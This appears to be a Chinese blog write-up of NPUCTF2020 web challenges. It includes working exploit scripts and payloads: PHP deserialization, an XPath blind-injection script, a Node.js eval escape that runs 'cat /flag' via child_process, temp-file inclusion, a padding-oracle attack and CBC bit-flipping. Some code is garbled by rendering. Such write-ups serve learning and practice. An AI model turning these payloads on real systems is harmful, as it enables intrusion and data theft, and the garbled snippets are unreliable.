npuctf

NPUCTF 复现 CTF WP 计算机网络 CTF 学习总结 密码学 操作系统 NPUCTF 复现 2个月前 / 0评 / 1赞 赏 码比赛的时候运维太差了,所以就想着赛后复现一下。Table of Contents[NPUCTF2020]ReadlezPHP[NPUCTF2020]ezlogin[NPUCTF2020]验证🐎[NPUCTF2020]ezinclude[NPUCTF2020]web🐕[NPUCTF2020]ReadlezPHP这道题还是比较基本的php反序列化。<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = “Y-m-d h:i:s”;
$this->b = “date”;
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo b ( b( b(a);
}
}
$c = new HelloPhp;

if(isset($_GET[‘source’]))
{
highlight_file(FILE);
die(0);
}

@ p p p = u n s e r i a l i z e ( ppp = unserialize( ppp=unserialize(_GET[“data”]); 很明显,传入$b做函数,执行一下。这里system什么的被ban了,可以用call_user_func函数(call_user_func — 把第一个参数作为回调函数调用)。payload:<?php
class HelloPhp
{
public $a;
public $b;

}
$a=new HelloPhp();
$a->b=‘call_user_func’;
a − > a = ′ p h p i n f o ′ ; e c h o u r l e n c o d e ( s e r i a l i z e ( a->a='phpinfo'; echo urlencode(serialize( a>a=phpinfo;echourlencode(serialize(a));

?>执行打一发上去就可以在环境变量里看见flag。[NPUCTF2020]ezlogin这道题xpath注入。这道题的“非法注入”和“用户名或密码错误”很神奇,大概“非法注入”就是true,然后为false,这就是不让人登陆了呗。布尔盲注就可以注出用户名和密码的md5,解密登陆就可以。原理戳这篇文章。exp:import requests
import re
import time
r = requests.session()
s=‘abcdefghijklmnopqrstuvwxyz1234567890,’
headers = {‘Content-Type’:‘application/xml’}
for a in range(1,50):
for b in s:
url=‘http://d6714c8f-8cae-4daf-8348-abdc6b9348a5.node3.buuoj.cn/’
token=re.search(’’,r.get(url).text)[1]
data="’ or substring(/root/accounts/user[2]/username/text(), “+str(a)+”, 1)=’"+b+"’ or '112"+token+""
result=r.post(url=url+‘login.php’,headers=headers,data=data).text
time.sleep(0.5)
if ‘非法操作’ in result:
print(b)
break然后登陆进去,很明显的伪协议,过滤很基础,大小写绕过,没什么好说的。[NPUCTF2020]验证🐎给了源码:const express = require(‘express’);
const bodyParser = require(‘body-parser’);
const cookieSession = require(‘cookie-session’);

const fs = require(‘fs’);
const crypto = require(‘crypto’);

const keys = require(’./key.js’).keys;

function md5(s) {
return crypto.createHash(‘md5’)
.update(s)
.digest(‘hex’);
}

function saferEval(str) {
if (str.replace(/(?:Math(?:.\w+)?)|[()+-/&|^%<>=,?:]|(?:\d+.?\d(?:e\d+)?)| /g, ‘’)) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync(’./index.html’).toString();
function render(results) {
return template.replace(’{{results}}’, results.join(’
’));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
name: ‘PHPSESSION’, // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post(’/’, function (req, res) {
let result = ‘’;
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || ‘Wrong Wrong Wrong!!!’;
} catch (e) {
console.log(e);
result = ‘Wrong Wrong Wrong!!!’;
}
results.unshift(${req.body.e}=${result});
}
} else {
results.unshift(‘Not verified!’);
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get(’/source’, function (req, res) {
res.set(‘Content-Type’, ‘text/javascript;charset=utf-8’);
res.send(fs.readFileSync(’./index.js’));
});

app.get(’/’, function (req, res) {
res.set(‘Content-Type’, ‘text/html;charset=utf-8’);
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, ‘0.0.0.0’, () => {
console.log(‘Start listening’)
});首先得绕这条语句if (first && second && first.length === second.length && first!second && md5(first+keys[0]) === md5(second+keys[0])),然后在saferEval那里有个eval,看看能不能执行点什么。前面的那个用传参的类型差异就可以绕过。比如数组和字符串相加会转为字符串,对象和字符串相加也会转为字符串,所以上传这个就行。{“first”:“1”,“second”:[1]},因为直接传urlencoded的表单是没法传数组的,所以只能用json传。然后看看正则那里ban掉了很多,得用的是Math,能用的是()+-*&|%^<>=,?:,能有箭头函数=>,用原型链来绕即可。还是对着payload讲。(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))))(Math+1)()这里Math=Math.constructor,所以Math为String,然后里面又有Math.constructor,这时为Function,lambda表达式就不详细讲了,化简其实格式为eval((Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,49))))(Math+1)())进一步格式为eval((x=>(Function(String.fromCharCode(114,101,116,117,114,110,32,49))))(1)())。[NPUCTF2020]ezinclude这道题打开有hint: md5( s e c r e t . secret. secret.name)= p a s s , 这 道 题 就 很 奇 怪 , c o o k i e 里 有 h a s h , 经 测 试 为 m d 5 ( pass,这道题就很奇怪,cookie里有hash,经测试为md5( passcookiehashmd5(secret. n a m e ) , 所 以 直 接 打 上 去 就 行 了 。 出 题 人 逻 辑 写 错 了 , 感 觉 是 想 弄 h a s h 扩 展 长 度 攻 击 , 自 己 代 码 逻 辑 写 错 了 , 后 台 s e t − c o o k i e 应 该 是 m d 5 ( name),所以直接打上去就行了。出题人逻辑写错了,感觉是想弄hash扩展长度攻击,自己代码逻辑写错了,后台set-cookie应该是md5( name)hashsetcookiemd5(secret. p a s s ) , 就 这 直 接 返 回 m d 5 ( pass),就这直接返回md5( pass)md5(secret. n a m e ) 。 。 。 直 接 打 , 去 到 f l f l f l f l a g . p h p 。 然 后 看 见 i n c l u d e ( name)。。。直接打,去到flflflflag.php。然后看见include( name)flflflflag.phpinclude(_GET[“file”]),大概就是文件包含了。这里利用了临时文件的一个点。可以参考这篇文章。我们利用postman上传文件(不知道为什么get不了shell,一句话木马没用,我还是直接命令执行了)。然后临时文件保存在/tmp/目录下,而且这道题还有个hint,扫目录有dir.php,可以看见我们上传的临时文件的文件名,就不用去爆破了。[NPUCTF2020]web🐕padding oracle和CBC字节翻转攻击源码:我摊牌了,就是懒得写前端

<?php error_reporting(0); include('config.php'); # $key,$flag define("METHOD", "aes-128-cbc"); //定义加密方式 define("SECRET_KEY", $key); //定义密钥 define("IV","6666666666666666"); //定义初始向量 16个6 define("BR",'
'); if(!isset($_GET['source']))header('location:./index.php?source=1'); #var_dump($GLOBALS); //听说你想看这个? function aes_encrypt($iv,$data) { echo "--------encrypt---------".BR; echo 'IV:'.$iv.BR; return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR; } function aes_decrypt($iv,$data) { return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False'); } if($_GET['method']=='encrypt') { $iv = IV; $data = $flag; echo aes_encrypt($iv,$data); } else if($_GET['method']=="decrypt") { $iv = @$_POST['iv']; $data = @$_POST['data']; echo aes_decrypt($iv,$data); } echo "我摊牌了,就是懒得写前端".BR; if($_GET['source']==1)highlight_file(__FILE__); ?> exp:import requests

import time

def xor(str1, str2):
return ‘’.join([chr(ord(str1[i]) ^ ord(str2[i])) for i in range(len(str1))])

def attack():
N = 16
true_iv= ‘6666666666666666’
url = ‘http://4ee80502-6705-4e4f-aec9-3230f6c23e40.node3.buuoj.cn/index.php?source=1&method=decrypt’
tmp_value = ‘’
for i in range(1, N+1):
for j in range(0,256):
time.sleep(0.05)
padding = xor(tmp_value, chr(i) * (i - 1))
new_iv = chr(0) * (N - i) + chr(j) + padding
header = {“data”: “ly7auKVQCZWum/W/4osuPA==”, “iv”: new_iv}
res = requests.post(url, data=header)
if “我” in res.text:
tmp_value = chr(j ^ i) + tmp_value
print(tmp_value)
break
if len(tmp_value)==15:
print(xor(“666666666666666”,tmp_value))
print(xor(true_iv,tmp_value))

attack()源码:Ghlr6j1Y1PQDSDalySCPdw==

<?php #error_reporting(0); include('config.php'); //$fl4g define("METHOD", "aes-128-cbc"); define("SECRET_KEY", "6666666"); session_start(); function get_iv(){ //生成随机初始向量IV $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv; } $lalala = 'piapiapiapia'; if(!isset($_SESSION['Identity'])){ $_SESSION['iv'] = get_iv(); $_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv'])); } echo base64_encode($_SESSION['iv'])."
"; if(isset($_POST['iv'])){ $tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_POST['iv'])); echo $tmp_id."
"; if($tmp_id ==='weber')die($fl4g); } highlight_file(__FILE__); ?> exp:import base64 as b64

source_str = “piapiapiapia” + 4 * chr(4)
target_srt = “weber” + 11 * chr(11)
iv_array = “pca4HM0iKQ9tHEzaAYbWgQ==” #你获得的初始IV的base64encode值
iv_array = bytearray(b64.b64decode(iv_array))
for i in range(0, 16):
iv_array[i] = iv_array[i] ^ ord(source_str[i]) ^ ord(target_srt[i])

#iv = bytes(iv_array)
print(b64.b64encode(iv_array))然后java反编译一下,转个ascii码就可。CISCN 2019 华东北赛区 web2 发表评论 取消回复电子邮件地址不会被公开。 必填项已用*标注姓名 * 电子邮件 * 站点 在此浏览器中保存我的名字、电邮和网站。评论 COMMITING…# Blog 联系 © 2020 zkw的流水日记 默认护眼夜晚SerifSans

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值